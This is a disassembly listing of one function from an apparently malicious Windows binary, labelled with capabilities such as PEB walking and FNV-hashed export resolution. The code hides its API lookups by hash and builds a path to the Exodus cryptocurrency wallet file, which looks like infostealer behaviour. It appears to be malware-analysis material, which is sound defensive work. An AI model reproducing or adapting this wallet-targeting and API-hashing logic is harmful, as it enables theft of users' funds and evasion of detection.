Function at 0x140004590
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xc0], rax
xor esi, esi
mov dword [rsp + 0x70], 0x100
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004666
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004666
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0xa0a22ace
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140004661
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140004640
cmp r8d, 0xc6429b0d
je 0x14000466b
test r9d, r9d
jne 0x140004620
mov rax, qword [rax]
jmp 0x1400045f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x40]
call r8
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
lea rax, [rbp - 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1400046b0
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x68]
call fcn.140009110
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rbp - 0x58]
sub rax, r14
cmp rax, 9
jb 0x1400049af
lea r13, [rbp - 0x68]
mov rsi, qword [rbp - 0x68]
mov r15, qword [rbp - 0x50]
cmp r15, 0xf
cmova r13, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea r12, [r14 + 9]
mov ebx, 0xf
lea rdi, [rsp + 0x20]
cmp r12, rbx
jbe 0x14000479a
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x140004755
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000a180
test rax, rax
je 0x14000477d
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140004795
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140004784
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400049b5
jmp 0x14000473a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140004793
call fcn.14000a180
mov rdi, rax
jmp 0x140004795
xor edi, edi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], rbx
movsd xmm0, qword [str.C:Users_]
movsd qword [rdi], xmm0
movzx eax, byte [0x14000c960]
mov byte [rdi + 8], al
lea rcx, [rdi + 9]
mov r8, r14
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r12], 0
mov r8d, 0x25
lea rdx, str.AppDataRoamingExodusexodus.wallet
lea rcx, [rsp + 0x20]
call fcn.1400087e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xor r14d, r14d
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140004857
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004852
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004852
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a1c4
movdqa xmm0, xmmword [0x14000cd30]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x20], 0
mov rdi, qword [rbp - 0x78]
lea rbx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rbx, qword [rsp + 0x78]
call fcn.1400099ec
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.1400018b0
nop
lea rcx, [rsp + 0x50]
call fcn.140002460
movzx ebx, al
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400048f2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400048ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a1c4
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140004931
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000492c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000492c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a1c4
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
cmp r15, 0xf
jbe 0x14000497c
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140004974
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004974
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14000a1c4
movzx eax, bl
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.14000a160
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001210
nop
call fcn.140001170
int3